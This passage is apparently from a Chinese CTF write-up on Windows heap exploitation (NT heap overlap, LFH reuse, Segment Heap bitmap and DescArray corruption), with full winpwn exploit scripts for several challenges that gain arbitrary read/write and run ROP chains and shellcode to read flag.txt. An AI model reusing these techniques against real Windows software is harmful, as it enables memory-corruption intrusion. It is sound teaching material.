PEB_addr + 0x1000 log.info("TEB addr: " + hex (TEB_addr)) arbitrary_address_read(PEB_addr + 0x10 ) pe.address = u64(p.recv(8 )) log.success("pe base: " + hex (pe.address)) arbitrary_address_read(TEB_addr + 8 ) stack_base = u64(p.recv(8 )) log.success("stack base: " + hex (stack_base)) stack_limit = u64(p.recv(8 )) log.success("stack limit: " + hex (stack_limit)) arbitrary_address_read(pe.imsyms['puts' ]) puts_addr = u64(p.recv(8 )) log.success("puts addr: " + hex (puts_addr)) arbitrary_address_read(pe.imsyms['GetCurrentProcessId' ]) kernel32.address = u64(p.recv(8 )) - kernel32.symbols['GetCurrentProcessId' ] log.success("kernel32 base: " + hex (kernel32.address)) rop_addr = None for address in range (stack_base - 8 - 0x80 , stack_limit, -0x80 ): arbitrary_address_read(address) read_data = p.recv(0x80 ) pos = read_data.find(p64(pe.address + 0x1e38 )) if pos != -1 : rop_addr = address + pos - 0x280 break log.success("rop addr: " + hex (rop_addr)) add('3' , 0x200 ) add('3' , 0x10 ) add('4' , 0x50 ) add('5' , 0x50 ) fake_FILE = '' fake_FILE += p64(0 ) fake_FILE += p64(rop_addr) fake_FILE += p32(0 ) fake_FILE += p32(0x2080 ) fake_FILE += p32(0 ) fake_FILE += p32(0 ) fake_FILE += p64(0x200 ) fake_FILE += p64(0 ) fake_FILE += p64(0xffffffffffffffff ) fake_FILE += p32(0xffffffff ) fake_FILE += p32(0 ) fake_FILE += p64(0 ) fake_FILE += p64(0 ) fake_FILE += p64(0 ) add('4' , 0x60 ) add('5' , 0x60 , fake_FILE) log.info("chunk3(0x20) addr: " + hex (heap_base + 0xa80 )) log.info("chunk4(0x60) addr: " + hex (heap_base + 0xb10 )) log.info("chunk5(0x60) addr: " + hex (heap_base + 0xbe0 )) log.info("fake chunk addr: " + hex (pe.address + 0x5658 )) show('3' ) heap_data = p.recv(0x200 ) head = heap_data[0x88 :0x90 ] payload = '' payload += heap_data[:0x98 ] payload += p64(pe.address + 0x5658 ) payload += heap_data[0xa0 :0x160 ] payload += p64(pe.address + 0x5658 ) add('3' , 0x10 , payload) fake_chunk = '' fake_chunk += 'godlike' .ljust(8 , '\x00' ) fake_chunk += head fake_chunk += p64(heap_base + 0xb10 ) fake_chunk += p64(heap_base + 0xbe0 ) logout() login('orange' , fake_chunk) add('4' , 0x50 , 'a' * 0x10 + p64(heap_base + 0xcb0 )) logout() login("sky" , "123" ) shellcode_addr = (rop_addr - 0x500 ) & ~0xFFF buf_addr = rop_addr + 0x128 log.info("shellcode addr: " + hex (shellcode_addr)) log.info("buf addr: " + hex (buf_addr)) payload = '' payload += p64(ntdll.search(asm("pop rcx;ret" ), executable=True ).next ()) payload += p64(shellcode_addr) payload += p64(ntdll.search(asm("pop rdx;ret" ), executable=True ).next ()) payload += p64(0x1000 ) payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret' ), executable=True ).next ()) payload += p64(0x40 ) payload += p64(shellcode_addr - 0x300 ) payload += p64(0 ) payload += p64(0 ) payload += p64(kernel32.symbols['VirtualProtect' ]) payload += p64(ntdll.search(asm("add rsp, 0x18; ret" ), executable=True ).next ()) payload += '\x00' * 0x18 payload += p64(ntdll.search(asm("pop rcx;ret" ), executable=True ).next ()) payload += p64(0xFFFFFFF6 ) payload += p64(kernel32.symbols['GetStdHandle' ]) payload += p64(ntdll.address + 0x3537a ) payload += '\x00' * 0x28 payload += p64(ntdll.search(asm("pop rdx;ret" ), executable=True ).next ()) payload += p64(shellcode_addr) payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret' ), executable=True ).next ()) payload += p64(0x100 ) payload += p64(shellcode_addr - 0x300 ) payload += p64(0 ) payload += p64(0 ) payload += p64(kernel32.symbols['ReadFile' ]) payload += p64(shellcode_addr) payload += '\x00' * 0x20 payload += p64(0 ) payload = payload.ljust(buf_addr - rop_addr, '\x00' ) payload += 'flag.txt\x00' sleep(1 ) p.sendline(payload) shellcode = asm( """ sub rsp, 0x1000 mov rcx, {0} mov edx, 0x80000000 xor r9d, r9d lea r8d, [r9+1] mov qword ptr [rsp + 0x30], 0 mov qword ptr [rsp + 0x28], 0x80 mov qword ptr [rsp + 0x20], 3 mov rbx, {1} call rbx //FileA = CreateFileA("flag.txt", 0x80000000, 1u, 0, 3u, 0x80u, 0) xchg rcx,rax mov rdx, {0} mov r8d, 0x30 lea r9,[rsp + 0x200] mov qword ptr [rsp + 0x20], 0 mov rbx, {2} call rbx //ReadFile(FileA, Buffer, 0x3000u, &NumberOfBytesRead, 0); mov rcx, {0} mov rbx,{3} call rbx // puts(Buffer); """ .format ( hex (buf_addr), hex (kernel32.symbols['CreateFileA' ]), hex (kernel32.symbols['ReadFile' ]), hex (puts_addr) ) ) sleep(1 ) p.sendline(shellcode) p.interactive()
heap overlap(Nt Heap 后端堆) 通过越界写修改 chunk 堆头造成堆块重叠,造成更大范围的越界。
例题:2019 WCTF LazyFragmentationHeap 附件下载链接
结构体定义如下:
1 2 3 4 5 6 7 8 struct Node { size_t magic2; size_t size; size_t id; size_t magic1; char *content; };
各个功能有如下特点:
add
edit
show
delete
OpenFile
ReadFile
magic1
初始化为 0xDDAABEEF1ACD
必须为 0xDDAABEEF1ACD
必须为 0xDDAABEEF1ACD 或 0xFACE6DA61A35C767
无
无
必须为 0xDDAABEEF1ACD 或者 magic2 满足条件
magic2
初始化为 0xDDAABEEF1ACD
必须为 0xDDAABEEF1ACD
必须为 0xDDAABEEF1ACD
无
无
必须为 0xDDAABEEF1ACD 或者 magic1 满足条件
备注
无
结束后 magic1 异或 0xFACEB00CA4DADDAA
无
无
无
最多使用 2 次
edit
功能存在越界写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 v19 = -1 i64; v20 = ::node_list[v18].content; v21 = ::node_list[v18].size; do ++v19; while ( v20[v19] );if ( v19 > v21 && ::node_list[v18].magic1 == 0xDDAABEEF1ACD i64 ){ v21 = -1 i64; do ++v21; while ( v20[v21] ); } if ( read(0 , v20, v21) <= 0 ){ puts ("read error" ); _exit(1 ); }
show
功能存在越界读:
1 2 3 4 5 6 7 8 9 v26 = ::node_list[v24].content; if ( !v26 ) goto LABEL_56; if ( ::node_list[v24].magic2 != 0xDDAABEEF1ACD i64 ) goto LABEL_56; magic = ::node_list[v24].magic1; if ( magic != 0xDDAABEEF1ACD i64 && magic != 0xFACE6DA61A35C767 ui64 ) goto LABEL_56; printf ("Content: %s\n" , v26);
由于程序存在越界读,因此我们可以越界读出 chunk 头从而计算出 _HEAP->Encoding
。之后我们可以越界写伪造 chunk 头造成 chunk overlap 进一步扩大漏洞范围。
之后我们可以 UAF 读出 Flink
从而泄露堆基址。然后劫持 FILE
结构体写 NodeList
中的 chunk 指针实现任意地址读。 通过任意地址读我们可以泄露 ntdll
基址,程序基址和 ucrtbase
基址。
在泄露完所需的地址后,参考上面的操作作如下构造: 这次劫持 FILE
是为了任意地址写修改 pioinfo.osfile
实现 \x1a
绕过,为后续无次数限制的任意地址读写做准备。因为 magic 的校验的数字 0xFACE6DA61A35C767 中有 \x1a
。
另外用作 unlink 的 chunk 需要伪造 chunk 头,因为 unlink 时 ListHint
指向该 chunk,在 unlink 之前在 RtlpHeapRemoveListEntry
函数中会对该 chunk 的 Flink
指向的 “chunk” 进行检查 。
在修改 FILE
结构体的同时修改后一个 chunk 的头部再次构造堆块重叠,然后申请 0x90 大小的 chunk 确保此时 ListHint
指向 unlink chunk 。同时 UAF 修改 unlink chunk 伪造 Flink
和 Blink
,完成 unlink 所需的条件。 之后再次申请 chunk 触发 unlink 。 完成 unlink 后 NodeList
可以自写,参考 linux kernel pwn 中 pipe_buffer
自写的构造方法实现任意次数的任意地址读写。
之后就是常规的栈上写 ROP 完成后续利用。需要注意的是,由于前面的堆利用破坏了系统默认堆的堆结构,后续利用可能会造成程序崩溃(比如 open
函数),因此需要先通过 ROP 完成堆修复。
题目提供的虚拟机可能因为 VMWare 版本问题卡到无法使用,但是根据题目提供的 dll 版本找到了 Windows 10, version 1903 (Updated Oct 2019) 虚拟机其内置的 dll 与题目提供的一致,因此我在该虚拟机上完成利用。 由于程序使用的是进程默认堆,因此堆排布成功率较低,需要多次尝试。
在进行堆排布之前多次使用 open file 功能在不触发 LFH 的情况下可以清空后端堆中的部分内存碎片,提高利用成功率。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 from winpwn import *context.arch = 'amd64' context.log_level = 'debug' context.timeout = 2 pe = winfile("LazyFragmentationHeap.exe" ) ntdll = winfile("ntdll.dll" ) kernel32 = winfile("kernel32.dll" ) ucrtbase = winfile("ucrtbase.dll" ) def add (size, id ): p.sendlineafter('Your choice: ' , '1' ) p.sendlineafter('Size:' , str (size)) p.sendlineafter('ID:' , str (id )) def edit (id , content ): p.sendlineafter('Your choice: ' , '2' ) p.sendlineafter('ID:' , str (id )) p.sendafter('Content:' , content) def show (id ): p.sendlineafter('Your choice: ' , '3' ) p.sendlineafter('ID:' , str (id )) p.recvuntil('Content: ' ) def delete (id ): p.sendlineafter('Your choice: ' , '4' ) p.sendlineafter('ID:' , str (id )) def open_file (times ): p.sendlineafter('Your choice: ' , '5' ) for i in range (times): p.sendlineafter('Your choice: ' , '1' ) p.sendlineafter('Your choice: ' , '3' ) def read_file (id , size, content=None ): p.sendlineafter('Your choice: ' , '5' ) p.sendlineafter('Your choice: ' , '2' ) p.sendlineafter('ID:' , str (id )) p.sendlineafter('Size:' , str (size)) if (content): p.send(content) p.sendlineafter('Your choice: ' , '3' ) start = lambda : process(pe.path) def chunk_head (size, prevsize, flags=1 , unused=None ): if unused == None : unused = 8 if flags & 1 else 0 return u64(p16(size >> 4 ) + p8(flags) + p8((size >> 4 & 0xFF ) ^ (size >> 12 ) ^ flags) + p16(prevsize) + p8(0 ) + p8(unused)) def arbitrary_address_read (address, is_offset=False , close=True ): global p while True : try : p = start() open_file(4 ) add(0x88 , 1 ) add(0x88 , 2 ) add(0x88 , 3 ) read_file(1 , 0x88 ) show(1 ) p.recv(0x88 ) heap_encoding = u64(p.recvline(drop=True ).ljust(8 , '\x00' )) ^ 0x0000000908010009 log.success("heap encoding: " + hex (heap_encoding)) edit(1 , 'a' * 0x88 + p64(chunk_head(0x120 , 0x90 ) ^ heap_encoding)[:6 ]) delete(2 ) add(0x88 , 4 ) show(3 ) heap_base = u64(p.recvline(drop=True ).ljust(8 , '\x00' )) & ~0xFFFF log.success("heap base: " + hex (heap_base)) assert heap_base != 0 open_file(1 ) fake_FILE = '' fake_FILE += p64(0 ) fake_FILE += p64(0xBEEFDAD0000 + 0x28 + 0x20 ) fake_FILE += p32(0 ) fake_FILE += p32(0x2080 ) fake_FILE += p32(0 ) fake_FILE += p32(0 ) fake_FILE += p64(0x200 ) fake_FILE += p64(0 ) fake_FILE += p64(0xffffffffffffffff ) fake_FILE += p32(0xffffffff ) fake_FILE += p32(0 ) fake_FILE += p64(0 ) fake_FILE += p64(0 ) fake_FILE += p64(0 ) edit(3 , fake_FILE) log.info("read addr: " + hex ((heap_base + address) if is_offset else address)) read_file(4 , 8 , p64((heap_base + address) if is_offset else address)) show(4 ) value = u64(p.recvline(drop=True ).ljust(8 , '\x00' )[:8 ]) if close: p.close() return value except KeyboardInterrupt: p.close() exit(0 ) except : p.close() ntdll.address = (arbitrary_address_read(0x2c0 , True ) - 0x15f000 ) & ~0xFFFF log.success("ntdll base: " + hex (ntdll.address)) pe_base_offset = (arbitrary_address_read(ntdll.address + 0x1653D0 ) & 0xFFFF ) + 0x30 log.info("pe base offset: " + hex (pe_base_offset)) pe.address = arbitrary_address_read(pe_base_offset + 2 , True ) << 16 log.success("pe base: " + hex (pe.address)) ucrtbase.address = arbitrary_address_read(pe.imsyms['puts' ]) - ucrtbase.symbols['puts' ] log.success("ucrtbase base: " + hex (ucrtbase.address)) pioinfo_offset = arbitrary_address_read(ucrtbase.address + 0xeb770 ) & 0xFFFF log.info("pioinfo offset: " + hex (pioinfo_offset)) while True : p = start() try : open_file(4 ) add(0x88 , 1 ) add(0x88 , 2 ) add(0xe8 , 3 ) add(0x88 , 5 ) add(0x88 , 6 ) read_file(1 , 0x88 ) show(1 ) p.recv(0x88 ) heap_encoding = u64(p.recvline(drop=True ).ljust(8 , '\x00' )) ^ 0x0000000908010009 log.success("heap encoding: " + hex (heap_encoding)) edit(1 , 'a' * 0x88 + p64(chunk_head(0x210 , 0x90 ) ^ heap_encoding)) delete(2 ) add(0x88 , 4 ) show(3 ) heap_base = u64(p.recvline(drop=True ).ljust(8 , '\x00' )) & ~0xFFFF log.success("heap base: " + hex (heap_base)) assert heap_base != 0 open_file(1 ) add(0x88 , 7 ) unlink_id = chunk_head(0x120 , 0x200 ) ^ heap_encoding add(0x88 , unlink_id) fake_FILE = '' fake_FILE += p64(0 ) fake_FILE += p64(0xBEEFDAD0000 + 0x28 + 0x20 ) fake_FILE += p32(0 ) fake_FILE += p32(0x2080 ) fake_FILE += p32(0 ) fake_FILE += p32(0 ) fake_FILE += p64(0x200 ) fake_FILE += p64(0 ) fake_FILE += p64(0xffffffffffffffff ) fake_FILE += p32(0xffffffff ) fake_FILE += p32(0 ) fake_FILE += p64(0 ) fake_FILE += p64(0 ) fake_FILE += p64(0 ) edit(3 , fake_FILE + p64(chunk_head(0x120 , 0x60 ) ^ heap_encoding)) delete(7 ) add(0x88 , 9 ) log.info("pioinfo addr: " + hex (heap_base + pioinfo_offset)) log.info("pioinfo.osfile addr: " + hex (heap_base + pioinfo_offset + 0x38 )) read_file(4 , 8 , p64(heap_base + pioinfo_offset + 0x38 )) edit(4 , p8(0xc1 )) edit(5 , p64(0xBEEFDAD0000 + 0x28 * 6 + 0x20 - 8 ) + p64(0xBEEFDAD0000 + 0x28 * 6 + 0x20 )) add(0x88 , 10 ) fake_node = lambda id , content: p64(0xDDAABEEF1ACD ) + p64(0x500 ) + p64(id ) + p64(0xDDAABEEF1ACD ) + p64(content) edit(unlink_id, p64(0 ) + fake_node(333 , 0xBEEFDAD0000 + 0x28 * 5 )) def arbitrary_address_read (address, recover=True ): edit(333 , fake_node(111 , address) + fake_node(222 , 0xBEEFDAD0000 + 0x28 * 7 )) show(111 ) data = p.recvline(drop=True ).ljust(8 , '\x00' ) if recover: edit(222 , fake_node(333 , 0xBEEFDAD0000 + 0x28 * 5 )) return data def arbitrary_address_write (address, content, recover=True ): edit(333 , fake_node(111 , address) + fake_node(222 , 0xBEEFDAD0000 + 0x28 * 7 )) edit(111 , content) if recover: edit(222 , fake_node(333 , 0xBEEFDAD0000 + 0x28 * 5 )) kernel32.address = u64(arbitrary_address_read(pe.imsyms['GetCurrentThreadId' ])[:8 ]) - kernel32.symbols['GetCurrentThreadId' ] log.success("kernel32 base: " + hex (kernel32.address)) assert kernel32.address != 0 PEB_addr = u64(arbitrary_address_read(ntdll.address + 0x165348 )[:8 ]) - 0x80 log.success("PEB addr: " + hex (PEB_addr)) TEB_addr = PEB_addr + 0x1000 log.info("TEB addr: " + hex (TEB_addr)) stack_base = u64(arbitrary_address_read(TEB_addr + 8 + 2 )) << 16 log.success("stack base: " + hex (stack_base)) stack_limit = u64(arbitrary_address_read(TEB_addr + 16 + 1 )) << 8 if stack_limit == 0 : stack_limit = u64(arbitrary_address_read(TEB_addr + 16 + 2 )) << 16 log.success("stack limit: " + hex (stack_limit)) search_length = 0x100 main_ret_addr = -1 for start_search in range (stack_base - search_length, stack_limit, -search_length): address = start_search while address - start_search < search_length: stack_data = arbitrary_address_read(address) offset = stack_data.find(p64(pe.address + 0x1B78 )) if offset != -1 : main_ret_addr = address + offset break address += len (stack_data) if main_ret_addr != -1 : break rop_addr = main_ret_addr - 0x80 buf_addr = rop_addr + 0x200 + 0x20 payload = '' payload += p64(ntdll.search(asm("pop rcx; ret" ), executable=True ).next ()) payload += p64(0 ) payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret" ), executable=True ).next ()) payload += p64(0 ) payload += p64(0 ) payload += p64(ntdll.search(asm("pop r8;ret" ), executable=True ).next ()) payload += p64(0 ) payload += p64(kernel32.symbols['HeapCreate' ]) payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret" ), executable=True ).next ()) payload += p64(PEB_addr + 0x30 ) payload += p64(0 ) payload += p64(ntdll.search(asm("mov qword ptr [rdx], rax; ret;" ), executable=True ).next ()) payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret" ), executable=True ).next ()) payload += p64(ucrtbase.address + 0xEB570 ) payload += p64(0 ) payload += p64(ntdll.search(asm("mov qword ptr [rdx], rax; ret;" ), executable=True ).next ()) payload += p64(ntdll.search(asm("pop rcx; ret" ), executable=True ).next ()) payload += p64(buf_addr) payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret" ), executable=True ).next ()) payload += p64(0 ) payload += p64(0 ) payload += p64(ucrtbase.symbols['_open' ]) payload += p64(ntdll.search(asm("add rsp, 0x28; ret" ), executable=True ).next ()) payload += '\x00' * 0x28 payload += p64(ntdll.search(asm("pop rcx;ret" ), executable=True ).next ()) payload += p64(8 ) payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret" ), executable=True ).next ()) payload += p64(buf_addr) payload += p64(0 ) payload += p64(ntdll.search(asm("pop r8;ret" ), executable=True ).next ()) payload += p64(0x100 ) payload += p64(ucrtbase.symbols['_read' ]) payload += p64(ntdll.search(asm("add rsp, 0x28; ret" ), executable=True ).next ()) payload += '\x00' * 0x28 payload += p64(ntdll.search(asm("pop rcx;ret" ), executable=True ).next ()) payload += p64(1 ) payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret" ), executable=True ).next ()) payload += p64(buf_addr) payload += p64(0 ) payload += p64(ntdll.search(asm("pop r8;ret" ), executable=True ).next ()) payload += p64(0x100 ) payload += p64(ucrtbase.symbols['_write' ]) payload = payload.ljust(buf_addr - rop_addr, '\xcc' ) payload += 'flag.txt\x00' log.info("main ret addr: " + hex (main_ret_addr)) log.info("rop addr: " + hex (rop_addr)) log.info("buf addr: " + hex (buf_addr)) arbitrary_address_write(rop_addr, payload, False ) p.interactive() break except KeyboardInterrupt: p.close() exit(0 ) except : p.close()
reuse attack(Nt Heap LFH 堆) 假设有一个 Use after free 的漏洞,但因为 LFH 的随机性,导致无法预测下一个 chunk 会在哪,使得很难进行堆布局。这时可以采用填充 Userblock
的方式,即先分配完所有的 LFH 堆块再 free 掉其中一块,那么下次分配的堆块一定与漏洞堆块是同一个堆块。
double malloc(Segment Heap LFH 堆) LfhSubsegment
的 BlockBitmap
记录了该 Subsegment 中的堆块分配情况。如果可以越界修改 LfhSubsegment
的头部,那么可以通过修改 LfhSubsegment.BlockBitmap
实现堆已分配的堆块的重新分配。
例题:2022 ByteCTF OhMyWindows 附件下载链接
程序分析如下: 首先通过HeapCreate创建了一个新的堆空间,并分配了 0x10 个 0x10 大小的堆块。
add:能够分配 10 次 chunk_struct
,data_chunk
大小可以为 0x10 或 1 次 0x30000。其中 chunk_chunk
定义如下:
1 2 3 4 struct chunk_struct { size_t size; void * data_chunk; }
edit:修改 0x10 的 data_chunk
,0x30000 堆块有一次机会向上越界修改为 0 的机会。
show:输出堆块数据
delete:释放 data_chunk
和 chunk_struct
。
另外由启动脚本可知本题开启了 Segment Heap 。
我们首先申请 0xF 个 0x10 大小的 data_chunk
。这样会在 LfhSubsegment
中喷射 0xF 个 chunk_struct
和 data_chunk
。之后再申请一个 0x30000 大小的 data_chunk
。此时 PageSubsegment
中的内存布局如下图所示: 此时我利用 edit 向前越界写 0 将 LfhSubsegment
的 BlockBitmap
覆盖成全 0 ,此时 LfhSubsegment
中的 Block
又都处于释放状态了。
此时再申请一个 0x10 大小的 data_chunk
有一定概率让新申请的 chunk_struct
与之前的 data_chunk
重叠。
如果申请的 chunk_struct
与之前的 data_chunk
重叠,那么此时可以通过修改之前的 data_chunk
然后读写新申请的 chunk_struct
从而实现任意地址读写。
有了任意地址读写之后我们还需要考虑如何泄露地址。
我们可以把堆内存地址划分成两个区域:
_SEGMENT_HEAP
相关内存区域
_HEAP_PAGE_SEGMENT
相关内存区域
这里划分的原则是如果知道该区域的某个地址那么就可以得到该区域的关键结构地址。比如我们可以泄露 LfhBlock
的地址,该地址属于 _HEAP_PAGE_SEGMENT
相关内存区域,因此我们可以推算出 _HEAP_PAGE_SEGMENT
的地址以及 _HEAP_LFH_SUBSEGMENT
的地址。
根据上述划分方式,此时内存中相关结构之间的关系如下图所示: 从图中可以看出,我们可以泄露如下地址以及数据:
_HEAP_LFH_SUBSEGMENT
:在劫持 chunk_struct
后我们可以读出 data_chunk
指针泄露 LfhBlock
的地址。又因为 LfhSubsegment
关于页对齐且大小为 0x1000 ,因此我们可以得到 LfhSubsegment
地址。
_HEAP_PAGE_SEGMENT
:由于 _HEAP_LFH_SUBSEGMENT
与 _HEAP_PAGE_SEGMENT
之间偏移固定,因此我们可以得到 LfhSubsegment
地址后可以推算出 PageSegment
地址。
_HEAP_PAGE_SEGMENT.Signature
:获取到 PageSegment
地址后可以通过任意地址读获取 Signature
。
_SEGMENT_HEAP
:通过 LfhSubsegment.Owner
泄露 AffinitySlots
的地址,由于 SegmentHeap
关于 0x10000 对齐,因此可以得到 SegmentHeap
地址。
_HEAP_LFH_CONTEXT
:由于 LfhContext
在 SegmentHeap
结构体上,因此在 SegmentHeap
地址已知的情况下可以得到 LfhContext
地址。
_HEAP_SEG_CONTEXT
:由于 SegContext
在 SegmentHeap
结构体上,因此在 SegmentHeap
地址已知的情况下可以得到 SegContext
地址。
RtlpHpHeapGlobals.HeapKey
:PageSegment.Signature
是通过 PageSegment ^ SegContext ^ RtlpHpHeapGlobals.HeapKey ^ 0xA2E64EADA2E64EAD
计算,在 Signature
,SegContext
,PageSegment
已知的情况下可以计算出 HeapKey
。
ntdll.dll
:LfhSubsegment.Callbacks
中的函数指针 RtlpHpHeapGlobals.HeapKey ^ LfhContext ^ func_ptr
,在 HeapKey
,LfhContext
已知的情况下可以解密出函数指针。而这些函数时 ntdll.dll
中的函数因此也就可以泄露 ntdll.dll
的基址。
完成 ntdll.dll
基址的泄露后,剩下的就是常规的栈上写 ROP 的方法了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 from winpwn import *context.arch = 'amd64' context.timeout = 2 pe = winfile("./OhMyWindows.exe" ) ntdll = winfile("ntdll.dll" ) ucrtbase = winfile("ucrtbase.dll" ) def add (index, size_type=1 , content='a' ): p.sendlineafter("Your choice:" , "1" ) p.sendlineafter("Please input index:" , str (index)) p.sendlineafter("Your choice:" , str (size_type)) p.sendlineafter("Please input content:" , content) def edit (index, content ): p.sendlineafter("Your choice:" , "2" ) p.sendlineafter("Please input index:" , str (index)) p.sendafter("Please input new content:" , content) def backdoor (index, pos ): p.sendlineafter("Your choice:" , "2" ) p.sendlineafter("Please input index:" , str (index)) p.sendlineafter("Maybe you can give me a pos:" , str (pos)) def show (index ): p.sendlineafter("Your choice:" , "3" ) p.sendlineafter("Please input index:" , str (index)) p.recvuntil("Content:" ) return p.recvline(drop=True ) def delete (index ): p.sendlineafter("Your choice:" , "4" ) p.sendlineafter("Please input index:" , str (index)) start = lambda : process(pe.path) target_id = None while True : global p, lfh_subsegment try : p = start() for i in range (0xF ): add(i, content="aaa" ) add(0xF , 2 , 'bbb' ) backdoor(0xF , 0x1FC ) add(0x10 ) for i in range (0xF ): data = show(i) if data[:1 ] == '\x10' : target_id = i log.success("target id: " + str (target_id)) lfh_subsegment = u64(data[8 :]) & ~0xFFF log.success("LfhSubsegment addr: " + hex (lfh_subsegment)) break assert target_id != None break except KeyboardInterrupt: p.close() exit(0 ) except : p.close() def arbitrary_address_read (address, length=0x100 ): edit(target_id, p64(length) + p64(address)) return show(0x10 ) def arbitrary_address_write (address, content ): edit(target_id, p64(len (content)) + p64(address)) edit(0x10 , content) context.timeout = 0xFFFFFFFFFFFFF page_segment = lfh_subsegment - 0x11000 - 0x2000 log.info("PageSegment: " + hex (page_segment)) segment_heap = u64(arbitrary_address_read(lfh_subsegment + 0x10 , 8 )) & ~0xFFFF log.success("SegmentHeap addr: " + hex (segment_heap)) seg_context = segment_heap + 0x100 log.info("SegContext addr: " + hex (seg_context)) lfh_context = segment_heap + 0x340 log.info("LfhContext addr: " + hex (lfh_context)) page_segment_signature = u64(arbitrary_address_read(page_segment + 0x10 , 8 )) log.info("PageSegment.Signature: " + hex (page_segment_signature)) heap_key = page_segment ^ page_segment_signature ^ seg_context ^ 0xA2E64EADA2E64EAD log.info("HeapKey: " + hex (heap_key)) ntdll.address = (u64(arbitrary_address_read(lfh_context + 0x8 , 8 )) ^ heap_key ^ lfh_context) - 0x1DA60 log.success("ntdll base: " + hex (ntdll.address)) peb_addr = u64(arbitrary_address_read(ntdll.address + 0x166388 , 8 )) - 0x340 log.success("peb addr: " + hex (peb_addr)) teb_addr = peb_addr + 0x1000 log.info("teb addr: " + hex (teb_addr)) pe.address = u64(arbitrary_address_read(peb_addr + 0x10 , 8 )) log.success("pe base: " + hex (pe.address)) ucrtbase.address = u64(arbitrary_address_read(pe.imsyms['puts' ], 8 )) - ucrtbase.symbols['puts' ] log.info("ucrtbase base: " + hex (ucrtbase.address)) stack_base = u64(arbitrary_address_read(teb_addr + 0x8 , 8 )) log.success("stack base: " + hex (stack_base)) stack_limit = u64(arbitrary_address_read(teb_addr + 0x10 , 8 )) log.success("stack limit: " + hex (stack_limit)) search_length = 0x100 rop_addr = -1 for address in range (stack_base - search_length, stack_limit, -search_length): stack_data = arbitrary_address_read(address, search_length) offset = stack_data.find(p64(pe.address + 0x1B80 )) if offset != -1 : rop_addr = address + offset break log.success("rop addr: " + hex (rop_addr)) buf_addr = rop_addr + 0x100 + 0x28 log.info("buf addr: " + hex (buf_addr)) payload = '' payload += p64(ntdll.search(asm("ret" ), executable=True ).next ()) payload += p64(ntdll.search(asm("pop rcx; ret" ), executable=True ).next ()) payload += p64(buf_addr) payload += p64(ntdll.search(asm("pop rdx; ret" ), executable=True ).next ()) payload += p64(0 ) payload += p64(ucrtbase.symbols['_open' ]) payload += p64(ntdll.search(asm("add rsp, 0x28; ret" ), executable=True ).next ()) payload += '\x00' * 0x28 payload += p64(ntdll.search(asm("pop rcx;ret" ), executable=True ).next ()) payload += p64(3 ) payload += p64(ntdll.search(asm("pop rdx;ret" ), executable=True ).next ()) payload += p64(buf_addr) payload += p64(ntdll.search(asm("pop r8;ret" ), executable=True ).next ()) payload += p64(0x100 ) payload += p64(ucrtbase.symbols['_read' ]) payload += p64(ntdll.search(asm("add rsp, 0x28; ret" ), executable=True ).next ()) payload += '\x00' * 0x28 payload += p64(ntdll.search(asm("pop rcx;ret" ), executable=True ).next ()) payload += p64(1 ) payload += p64(ntdll.search(asm("pop rdx;ret" ), executable=True ).next ()) payload += p64(buf_addr) payload += p64(ntdll.search(asm("pop r8;ret" ), executable=True ).next ()) payload += p64(0x100 ) payload += p64(ucrtbase.symbols['_write' ]) payload = payload.ljust(buf_addr - rop_addr, '\xcc' ) payload += 'flag.txt\x00' payload = payload.ljust(0x1e8 , '\xcc' ) payload += p64(ucrtbase.search(asm('pop rsp;ret' ), executable=True ).next ()) payload += p64(rop_addr) arbitrary_address_write(rop_addr, payload) p.sendlineafter("Your choice:" , "5" ) p.recvuntil("Bye~" ) p.interactive()
heap overlap(Segment Heap 后端堆) 通过修改 _HEAP_PAGE_SEGMENT
的 DescArray
造成其中的 Block
发生重叠。之后从后端堆申请 Block
时可以越界申请出相连 Block
的内存。
例题:2021 WMCTF winpwn windows 镜像 附件下载链接 程序的相关功能分析如下:
game
:堆菜单
attack
:申请堆块,有 3 种功能,最多使用 10 次,每次 user.score++
。条件是 user.hurt
必须足够大。
tip1
:申请一块用户内存大小为 0x20 - 0x80500 大小的 Block
。
tip2
:最多使用 2 次。申请一块用户内存大小为 0x20 和一块用户内存大小为 0x20000 的 Block
。其中 0x20 的 Block
的前 8 字节设置为 0x1A1A2B2B3C3C4D4D ,后 8 字节节指向 0x20000 的 Block
。
tip3
:最多使用 1 次。申请一块用户内存大小为 0x100 的 Block
